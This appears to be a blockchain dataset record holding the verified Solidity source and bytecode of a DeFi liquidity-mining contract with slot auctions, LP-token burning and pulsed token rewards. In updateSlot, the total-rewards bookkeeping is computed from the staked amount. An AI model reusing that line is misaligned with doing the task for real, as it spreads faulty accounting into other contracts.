900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b357fe5b818303905092915050565b60008082840190508381101515156114d257fe5b80915050929150505600a165627a7a7230582081aa922fc27c125d32a2a875bf45291397f20ab3f47de0264eb51b0dd0c64b800029
|
{"success": true, "error": null, "results": {}}
| 7,701 |
0x3ff8338ca0feeb4c950d78f5a5c00bdf104078ce
|
/**
*Submitted for verification at Etherscan.io on 2021-05-07
*/
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface Token {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMathLib {
function times(uint a, uint b) public pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b, 'Overflow detected');
return c;
}
function minus(uint a, uint b) public pure returns (uint) {
require(b <= a, 'Underflow detected');
return a - b;
}
function plus(uint a, uint b) public pure returns (uint) {
uint c = a + b;
require(c>=a && c>=b, 'Overflow detected');
return c;
}
}
// This contract is inspired by the harberger tax idea, it rewards people with FVT for burning their liquidity provider
// tokens.
contract LiquidityMining {
using SafeMathLib for uint;
// this represents a single recipient of token rewards on a fixed schedule that does not depend on deposit or burn rate
// it specifies an id (key to a map below) an marker for the last time it was updated, a deposit (of LP tokens) and a
// burn rate of those LP tokens per block, and finally, the owner of the slot, who will receive the rewards
struct Slot {
uint id;
uint lastUpdatedBlock;
uint deposit;
uint burnRate;
address owner;
}
// privileged key that can change key parameters, will change to dao later
address public management;
// the token that the rewards are made in
Token public rewardToken;
// the liquidity provider (LP) token
Token public liquidityToken;
bool public paused = false;
uint public pausedBlock = 0;
// maximum number of slots, changeable by management key
uint public maxStakers = 0;
// current number of stakers
uint public numStakers = 0;
// minimum deposit allowable to claim a slot
uint public minimumDeposit = 0;
// maximum deposit allowable (used to limit risk)
uint public maximumDeposit = 1000 ether;
// minimum burn rate allowable to claim a slot
uint public minimumBurnRate = 0;
// total liquidity tokens staked
uint public totalStaked = 0;
// total rewards distributed
uint public totalRewards = 0;
// total LP tokens burned
uint public totalBurned = 0;
// start block used to compute rewards
uint public pulseStartBlock;
// the length of a single pulse of rewards, in blocks
uint public pulseWavelengthBlocks = 0;
// the amount of the highest per-block reward, in FVT
uint public pulseAmplitudeFVT = 0;
// computed constants for deferred computation
uint public pulseIntegral = 0;
uint public pulseConstant = 0;
// map of slot ids to slots
mapping (uint => Slot) public slots;
// map of addresses to amount staked
mapping (address => uint) public totalStakedFor;
// map of total rewards by address
mapping (address => uint) public totalRewardsFor;
// map of rewards for session slotId -> rewardsForThisSession
mapping (uint => uint) public rewardsForSession;
// map of total burned by address
mapping (address => uint) public totalBurnedFor;
event ManagementUpdated(address oldMgmt, address newMgmt);
event ContractPaused();
event ContractUnpaused();
event WavelengthUpdated(uint oldWavelength, uint newWavelength);
event AmplitudeUpdated(uint oldAmplitude, uint newAmplitude);
event MaxStakersUpdated(uint oldMaxStakers, uint newMaxStakers);
event MinDepositUpdated(uint oldMinDeposit, uint newMinDeposit);
event MaxDepositUpdated(uint oldMaxDeposit, uint newMaxDeposit);
event MinBurnRateUpdated(uint oldMinBurnRate, uint newMinBurnRate);
event SlotChangedHands(uint slotId, uint deposit, uint burnRate, address owner);
modifier managementOnly() {
require (msg.sender == management, 'Only management may call this');
_;
}
constructor(address rewardTokenAddr, address liquidityTokenAddr, address mgmt, uint pulseLengthBlocks, uint pulseAmplitude, uint mxStkrs) {
rewardToken = Token(rewardTokenAddr);
liquidityToken = Token(liquidityTokenAddr);
management = mgmt;
pulseStartBlock = block.number;
pulseWavelengthBlocks = pulseLengthBlocks;
pulseAmplitudeFVT = pulseAmplitude;
pulseConstant = pulseAmplitudeFVT / pulseWavelengthBlocks.times(pulseWavelengthBlocks);
pulseIntegral = pulseSum(pulseWavelengthBlocks);
maxStakers = mxStkrs;
}
// only management can reset management key
function setManagement(address newMgmt) public managementOnly {
address oldMgmt = management;
management = newMgmt;
emit ManagementUpdated(oldMgmt, newMgmt);
}
function pauseContract() public managementOnly {
require(paused == false, 'Already paused');
paused = true;
pausedBlock = block.number;
emit ContractPaused();
}
function unpauseContract() public managementOnly {
require(paused == true, 'Already unpaused');
require(numStakers == 0, 'Must kick everyone out before unpausing');
paused = false;
pausedBlock = 0;
emit ContractUnpaused();
}
// change the number of slots, should be done with care
function setMaxStakers(uint newMaxStakers) public managementOnly {
uint oldMaxStakers = maxStakers;
maxStakers = newMaxStakers;
emit MaxStakersUpdated(oldMaxStakers, maxStakers);
}
// change the minimum deposit to acquire a slot
function setMinDeposit(uint newMinDeposit) public managementOnly {
uint oldMinDeposit = minimumDeposit;
minimumDeposit = newMinDeposit;
emit MinDepositUpdated(oldMinDeposit, newMinDeposit);
}
// change the maximum deposit
function setMaxDeposit(uint newMaxDeposit) public managementOnly {
uint oldMaxDeposit = maximumDeposit;
maximumDeposit = newMaxDeposit;
emit MaxDepositUpdated(oldMaxDeposit, newMaxDeposit);
}
// change the minimum burn rate to acquire a slot
function setMinBurnRate(uint newMinBurnRate) public managementOnly {
uint oldMinBurnRate = minimumBurnRate;
minimumBurnRate = newMinBurnRate;
emit MinBurnRateUpdated(oldMinBurnRate, newMinBurnRate);
}
// change the length of a pulse, should be done with care, probably should update all slots simultaneously
function setPulseWavelength(uint newWavelength) public managementOnly {
uint oldWavelength = pulseWavelengthBlocks;
pulseWavelengthBlocks = newWavelength;
pulseConstant = pulseAmplitudeFVT / pulseWavelengthBlocks.times(pulseWavelengthBlocks);
pulseIntegral = pulseSum(newWavelength);
emit WavelengthUpdated(oldWavelength, newWavelength);
}
// change the maximum height of the reward curve
function setPulseAmplitude(uint newAmplitude) public managementOnly {
uint oldAmplitude = pulseAmplitudeFVT;
pulseAmplitudeFVT = newAmplitude;
pulseConstant = pulseAmplitudeFVT / pulseWavelengthBlocks.times(pulseWavelengthBlocks);
pulseIntegral = pulseSum(pulseWavelengthBlocks);
emit AmplitudeUpdated(oldAmplitude, newAmplitude);
}
// compute the sum of the rewards per pulse
function pulseSum(uint wavelength) public view returns (uint) {
// sum of squares formula
return pulseConstant.times(wavelength.times(wavelength.plus(1))).times(wavelength.times(2).plus(1)) / 6;
}
// compute the undistributed rewards for a slot
function getRewards(uint slotId) public view returns (uint) {
Slot storage slot = slots[slotId];
if (slot.owner == address(0)) {
return 0;
}
uint referenceBlock = block.number;
if (paused) {
referenceBlock = pausedBlock;
}
// three parts, incomplete beginning, incomplete end and complete middle
uint rewards;
// complete middle
// trim off overhang on both ends
uint startPhase = slot.lastUpdatedBlock.minus(pulseStartBlock) % pulseWavelengthBlocks;
uint startOverhang = pulseWavelengthBlocks.minus(startPhase);
uint startSum = pulseSum(startOverhang);
uint blocksDiffTotal = referenceBlock.minus(slot.lastUpdatedBlock);
uint endPhase = referenceBlock.minus(pulseStartBlock) % pulseWavelengthBlocks;
uint endingBlocks = pulseWavelengthBlocks.minus(endPhase);
uint leftoverSum = pulseSum(endingBlocks);
// if we haven't made it to phase 0 yet
if (blocksDiffTotal < startOverhang) {
rewards = startSum.minus(leftoverSum);
} else {
uint blocksDiff = blocksDiffTotal.minus(endPhase).minus(startOverhang);
uint wavelengths = blocksDiff / pulseWavelengthBlocks;
rewards = wavelengths.times(pulseIntegral);
// incomplete beginning of reward cycle, end of pulse
if (startPhase > 0) {
rewards = rewards.plus(pulseSum(startOverhang));
}
// incomplete ending of reward cycle, beginning of pulse
if (endPhase > 0) {
rewards = rewards.plus(pulseIntegral.minus(leftoverSum));
}
}
return rewards;
}
// compute the unapplied burn to the deposit
function getBurn(uint slotId) public view returns (uint) {
Slot storage slot = slots[slotId];
uint referenceBlock = block.number;
if (paused) {
referenceBlock = pausedBlock;
}
uint burn = slot.burnRate * (referenceBlock - slot.lastUpdatedBlock);
if (burn > slot.deposit) {
burn = slot.deposit;
}
return burn;
}
// this must be idempotent, it syncs both the rewards and the deposit burn atomically, and updates lastUpdatedBlock
function updateSlot(uint slotId) public {
Slot storage slot = slots[slotId];
// burn and rewards always have to update together, since they both depend on lastUpdatedBlock
uint burn = getBurn(slotId);
uint rewards = getRewards(slotId);
// update this first to make burn and reward zero in the case of re-entrance
slot.lastUpdatedBlock = block.number;
if (burn > 0) {
// adjust deposit first
slot.deposit = slot.deposit.minus(burn);
// bookkeeping
totalBurned = totalBurned.plus(burn);
totalBurnedFor[slot.owner] = totalBurnedFor[slot.owner].plus(burn);
// burn them!
liquidityToken.transfer(address(0), burn);
}
if (rewards > 0) {
// bookkeeping
totalRewards = totalRewards.plus(rewards);
totalRewardsFor[slot.owner] = totalStakedFor[slot.owner].plus(rewards);
rewardsForSession[slotId] = rewardsForSession[slotId].plus(rewards);
rewardToken.transfer(slot.owner, rewards);
}
}
// most important function for users, allows them to start receiving rewards
function claimSlot(uint slotId, uint newBurnRate, uint deposit) external {
require(slotId > 0, 'Slot id must be positive');
require(slotId <= maxStakers, 'Slot id out of range');
require(newBurnRate >= minimumBurnRate, 'Burn rate must meet or exceed minimum');
require(deposit >= minimumDeposit, 'Deposit must meet or exceed minimum');
require(deposit <= maximumDeposit, 'Deposit must not exceed maximum');
require(paused == false, 'Must be unpaused');
Slot storage slot = slots[slotId];
// count the stakers
if (slot.owner == address(0)) {
// assign id since this may be the first time
slot.id = slotId;
numStakers = numStakers.plus(1);
slot.lastUpdatedBlock = block.number;
} else {
updateSlot(slotId);
bool betterDeal = newBurnRate > slot.burnRate && (deposit > slot.deposit || deposit == maximumDeposit);
require(betterDeal || slot.deposit == 0, 'You must outbid the current owner');
// bookkeeping
totalStaked = totalStaked.minus(slot.deposit);
totalStakedFor[slot.owner] = totalStakedFor[slot.owner].minus(slot.deposit);
// withdraw current owner
withdrawFromSlotInternal(slotId);
}
// set new owner, burn rate
slot.owner = msg.sender;
slot.burnRate = newBurnRate;
slot.deposit = deposit;
// bookkeeping
totalStaked = totalStaked.plus(deposit);
totalStakedFor[msg.sender] = totalStakedFor[msg.sender].plus(deposit);
// transfer the tokens!
if (deposit > 0) {
liquidityToken.transferFrom(msg.sender, address(this), deposit);
}
emit SlotChangedHands(slotId, deposit, newBurnRate, msg.sender);
}
// separates user from slot, if either voluntary or delinquent
function withdrawFromSlot(uint slotId) external {
Slot storage slot = slots[slotId];
bool withdrawable = slot.owner == msg.sender || slot.deposit == 0;
require(withdrawable || paused, 'Only owner can call this unless user is delinquent or contract is paused');
updateSlot(slotId);
withdrawFromSlotInternal(slotId);
// zero out owner and burn rate
slot.owner = address(0);
slot.burnRate = 0;
numStakers = numStakers.minus(1);
emit SlotChangedHands(slotId, 0, 0, address(0));
}
// internal function for withdrawing from a slot
function withdrawFromSlotInternal(uint slotId) internal {
Slot storage slot = slots[slotId];
rewardsForSession[slotId] = 0;
// if there's any deposit left,
if (slot.deposit > 0) {
uint deposit = slot.deposit;
slot.deposit = 0;
liquidityToken.transfer(slot.owner, deposit);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106102315760003560e01c8063865a21e511610130578063c0d8012c116100b8578063db763e4c1161007c578063db763e4c14610858578063eb2d9ef814610876578063f0484747146108a4578063f35d16b4146108d2578063f7c618c1146108f057610231565b8063c0d8012c14610754578063c448a4c114610796578063d4a22bde146107b4578063d7153d36146107f8578063d89135cd1461083a57610231565b80639abecd13116100ff5780639abecd1314610678578063b33712c514610696578063ba4128bc146106a0578063bb371fdd146106f8578063bd0ef4d61461072657610231565b8063865a21e51461059257806388a8d602146105d45780638fcc9cfb146106085780639927145a1461063657610231565b80634b341aed116101be5780635c975abb116101825780635c975abb146104c0578063636bfbab146104e05780636c8b052a146104fe5780637b7d07d81461051c578063817b1cd21461057457610231565b80634b341aed146103d05780634f7ff5031461042857806350c6d48114610446578063536643351461047457806354b302c5146104a257610231565b806332053c991161020557806332053c99146102e2578063387dd9e914610300578063439766ce1461037457806343cd8f7e1461037e5780634412ec6a146103b257610231565b8062c3d237146102365780630e15561a14610254578063275a1987146102725780632eb3f49b146102a0575b600080fd5b61023e610924565b6040518082815260200191505060405180910390f35b61025c61092a565b6040518082815260200191505060405180910390f35b61029e6004803603602081101561028857600080fd5b8101908080359060200190929190505050610930565b005b6102cc600480360360208110156102b657600080fd5b8101908080359060200190929190505050610afa565b6040518082815260200191505060405180910390f35b6102ea610b62565b6040518082815260200191505060405180910390f35b61032c6004803603602081101561031657600080fd5b8101908080359060200190929190505050610b68565b604051808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b61037c610bbe565b005b610386610d58565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ba610d7e565b6040518082815260200191505060405180910390f35b610412600480360360208110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d84565b6040518082815260200191505060405180910390f35b610430610d9c565b6040518082815260200191505060405180910390f35b6104726004803603602081101561045c57600080fd5b8101908080359060200190929190505050610da2565b005b6104a06004803603602081101561048a57600080fd5b810190808035906020019092919050505061150b565b005b6104aa6116d7565b6040518082815260200191505060405180910390f35b6104c86116dd565b60405180821515815260200191505060405180910390f35b6104e86116f0565b6040518082815260200191505060405180910390f35b6105066116f6565b6040518082815260200191505060405180910390f35b61055e6004803603602081101561053257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fc565b6040518082815260200191505060405180910390f35b61057c611714565b6040518082815260200191505060405180910390f35b6105be600480360360208110156105a857600080fd5b810190808035906020019092919050505061171a565b6040518082815260200191505060405180910390f35b6105dc611aa5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106346004803603602081101561061e57600080fd5b8101908080359060200190929190505050611ac9565b005b6106626004803603602081101561064c57600080fd5b8101908080359060200190929190505050611bdb565b6040518082815260200191505060405180910390f35b610680611bf3565b6040518082815260200191505060405180910390f35b61069e611bf9565b005b6106e2600480360360208110156106b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611def565b6040518082815260200191505060405180910390f35b6107246004803603602081101561070e57600080fd5b8101908080359060200190929190505050611e07565b005b6107526004803603602081101561073c57600080fd5b8101908080359060200190929190505050611f19565b005b6107806004803603602081101561076a57600080fd5b810190808035906020019092919050505061202d565b6040518082815260200191505060405180910390f35b61079e61286a565b6040518082815260200191505060405180910390f35b6107f6600480360360208110156107ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612870565b005b6108386004803603606081101561080e57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050612a06565b005b6108426133d9565b6040518082815260200191505060405180910390f35b6108606133df565b6040518082815260200191505060405180910390f35b6108a26004803603602081101561088c57600080fd5b81019080803590602001909291905050506133e5565b005b6108d0600480360360208110156108ba57600080fd5b81019080803590602001909291905050506134f7565b005b6108da61374a565b6040518082815260200191505060405180910390f35b6108f8613750565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600e5481565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6000600d54905081600d81905550600d547382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091600d546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610a5c57600080fd5b505af4158015610a70573d6000803e3d6000fd5b505050506040513d6020811015610a8657600080fd5b8101908080519060200190929190505050600e5481610aa157fe5b04601081905550610ab18261171a565b600f819055507fad4ce9a0bb9d64186960728541d7fa257c4aec2e995abf70c707f7e0b7401c7d8183604051808381526020018281526020019250505060405180910390a15050565b6000806011600084815260200190815260200160002090506000439050600260149054906101000a900460ff1615610b325760035490505b60008260010154820383600301540290508260020154811115610b5757826002015490505b809350505050919050565b60035481565b60116020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60001515600260149054906101000a900460ff16151514610d08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f416c72656164792070617573656400000000000000000000000000000000000081525060200191505060405180910390fd5b6001600260146101000a81548160ff021916908315150217905550436003819055507fab35696f06e428ebc5ceba8cd17f8fed287baf43440206d1943af1ee53e6d26760405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60126020528060005260406000206000915090505481565b60045481565b60006011600083815260200190815260200160002090506000610dc483610afa565b90506000610dd18461202d565b905043836001018190555060008211156111505782600201547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610e4257600080fd5b505af4158015610e56573d6000803e3d6000fd5b505050506040513d6020811015610e6c57600080fd5b81019080805190602001909291905050508360020181905550600b547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610ee057600080fd5b505af4158015610ef4573d6000803e3d6000fd5b505050506040513d6020811015610f0a57600080fd5b8101908080519060200190929190505050600b81905550601560008460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610fdd57600080fd5b505af4158015610ff1573d6000803e3d6000fd5b505050506040513d602081101561100757600080fd5b8101908080519060200190929190505050601560008560040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561111357600080fd5b505af1158015611127573d6000803e3d6000fd5b505050506040513d602081101561113d57600080fd5b8101908080519060200190929190505050505b600081111561150557600a547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156111b457600080fd5b505af41580156111c8573d6000803e3d6000fd5b505050506040513d60208110156111de57600080fd5b8101908080519060200190929190505050600a81905550601260008460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156112b157600080fd5b505af41580156112c5573d6000803e3d6000fd5b505050506040513d60208110156112db57600080fd5b8101908080519060200190929190505050601360008560040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060146000858152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156113bf57600080fd5b505af41580156113d3573d6000803e3d6000fd5b505050506040513d60208110156113e957600080fd5b81019080805190602001909291905050506014600086815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114c857600080fd5b505af11580156114dc573d6000803e3d6000fd5b505050506040513d60208110156114f257600080fd5b8101908080519060200190929190505050505b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6000600e54905081600e81905550600d547382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091600d546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561163757600080fd5b505af415801561164b573d6000803e3d6000fd5b505050506040513d602081101561166157600080fd5b8101908080519060200190929190505050600e548161167c57fe5b0460108190555061168e600d5461171a565b600f819055507ff074a9b9fa4b8be983b512a5a74648547eb7410cad6471f6812ae4e5fae5df8a8183604051808381526020018281526020019250505060405180910390a15050565b60075481565b600260149054906101000a900460ff1681565b60065481565b60055481565b60136020528060005260406000206000915090505481565b60095481565b600060066010547382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091857382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091887382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156117b457600080fd5b505af41580156117c8573d6000803e3d6000fd5b505050506040513d60208110156117de57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561182a57600080fd5b505af415801561183e573d6000803e3d6000fd5b505050506040513d602081101561185457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156118a057600080fd5b505af41580156118b4573d6000803e3d6000fd5b505050506040513d60208110156118ca57600080fd5b81019080805190602001909291905050507382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091857382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf909160026040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561195157600080fd5b505af4158015611965573d6000803e3d6000fd5b505050506040513d602081101561197b57600080fd5b81019080805190602001909291905050507382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156119e557600080fd5b505af41580156119f9573d6000803e3d6000fd5b505050506040513d6020811015611a0f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611a5b57600080fd5b505af4158015611a6f573d6000803e3d6000fd5b505050506040513d6020811015611a8557600080fd5b810190808051906020019092919050505081611a9d57fe5b049050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006006549050816006819055507fb566d3df2587c9e70b06b6419bdeeeeec8ca8cd60e4c48c6baad0d94c46809c78183604051808381526020018281526020019250505060405180910390a15050565b60146020528060005260406000206000915090505481565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60011515600260149054906101000a900460ff16151514611d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416c726561647920756e7061757365640000000000000000000000000000000081525060200191505060405180910390fd5b600060055414611d9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602781526020018061394c6027913960400191505060405180910390fd5b6000600260146101000a81548160ff02191690831515021790555060006003819055507f0e5e3b3fb504c22cf5c42fa07d521225937514c654007e1f12646f89768d6f9460405160405180910390a1565b60156020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ec8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006007549050816007819055507f78131f623b32212db92dadc6f203f2aeb863f71ce1a61b8eafc1ece42816c5ba8183604051808381526020018281526020019250505060405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006004549050816004819055507f05b71e3e4a42e0661e105ffa5a29770315a149423dfb60ea89792aa4b407afe981600454604051808381526020018281526020019250505060405180910390a15050565b600080601160008481526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156120a8576000915050612865565b6000439050600260149054906101000a900460ff16156120c85760035490505b600080600d5484600101547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091600c546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561212d57600080fd5b505af4158015612141573d6000803e3d6000fd5b505050506040513d602081101561215757600080fd5b81019080805190602001909291905050508161216f57fe5b0690506000600d547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156121cf57600080fd5b505af41580156121e3573d6000803e3d6000fd5b505050506040513d60208110156121f957600080fd5b8101908080519060200190929190505050905060006122178261171a565b90506000857382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909189600101546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561227857600080fd5b505af415801561228c573d6000803e3d6000fd5b505050506040513d60208110156122a257600080fd5b810190808051906020019092919050505090506000600d54877382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091600c546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561231557600080fd5b505af4158015612329573d6000803e3d6000fd5b505050506040513d602081101561233f57600080fd5b81019080805190602001909291905050508161235757fe5b0690506000600d547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156123b757600080fd5b505af41580156123cb573d6000803e3d6000fd5b505050506040513d60208110156123e157600080fd5b8101908080519060200190929190505050905060006123ff8261171a565b9050858410156124a457847382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561246257600080fd5b505af4158015612476573d6000803e3d6000fd5b505050506040513d602081101561248c57600080fd5b81019080805190602001909291905050509750612857565b6000847382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091866040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156124ff57600080fd5b505af4158015612513573d6000803e3d6000fd5b505050506040513d602081101561252957600080fd5b81019080805190602001909291905050507382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091896040518363ffffffff1660e01b81526004018083815260200182815